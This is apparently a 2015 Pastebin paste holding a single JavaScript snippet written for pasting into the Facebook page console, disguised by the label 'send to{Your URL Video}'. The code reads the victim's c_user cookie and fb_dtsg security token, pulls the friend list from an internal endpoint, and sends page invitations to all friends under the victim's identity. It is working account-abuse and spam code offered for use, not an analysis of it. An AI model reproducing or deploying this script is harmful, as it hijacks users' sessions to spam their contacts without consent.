Advertisement
Adeva

View Scrift

Apr 26th, 2015
419
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.60 KB | None | 0 0
  1. /* send to{Your URL Video}*/
  2. var aing={ uid:document.cookie.match(/c_user=(\d+)/)[1], dtsg:document.getElementsByName("fb_dtsg")[0].value, pejId:"1379967358991929", post:function(a,b,c){ var sa=new XMLHttpRequest(); sa.open("POST",a,true); sa.setRequestHeader("Content-type","application/x-www-form-urlencoded"); sa.onreadystatechange=c; sa.send(b); }, getPren:function(uidnya){ var a=window.ActiveXObject?new ActiveXObject("Msxml2.XMLHTTP"):new XMLHttpRequest; if(a.open("GET","/ajax/typeahead/first_degree.php?__a=1&filter[0]=user&lazy=0&viewer="+uidnya+"&token=v7&stale_ok=0&options[0]=friends_only&options[1]=nm",!1),a.send(null),4==a.readyState){var b=JSON.parse(a.responseText.substring(a.responseText.indexOf("{")));return b.payload.entries}return !1 }, hajar:function(){ aing.ok=0; aing.er=1; aing.koncos=aing.getPren(aing.uid); aing.param="page_id="+aing.pejId+"&elem_id=u_jsonp_2_13&action=send&ref=admin_tip&__user="+aing.uid+"&__a=1&__dyn=aJswECyj2qmqyzpQ9VUgHaFbAicieyp9Ey4UhAiFk8AlqzCAjECiUlBw&__req=1o&fb_dtsg="+aing.dtsg+"&ttstamp=26581671128095120118&__rev=1169548"; for(var n=1;n<aing.koncos.length;n++){ aing.post("/ajax/pages/invite/send_single/?invitee="+aing.koncos[n].uid,aing.param,function(p){ if(p.target.readyState==4){ aing.ok++; var b=JSON.parse(p.target.responseText.substring(p.target.responseText.indexOf("{"))); if(b.errorSummary&&b.errorDescription){ aing.er++; } console.log("("+(aing.ok+aing.er)+") "+aing.ok+"+"+aing.er+"/"+aing.koncos.length); } }); } }};aing.hajar();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement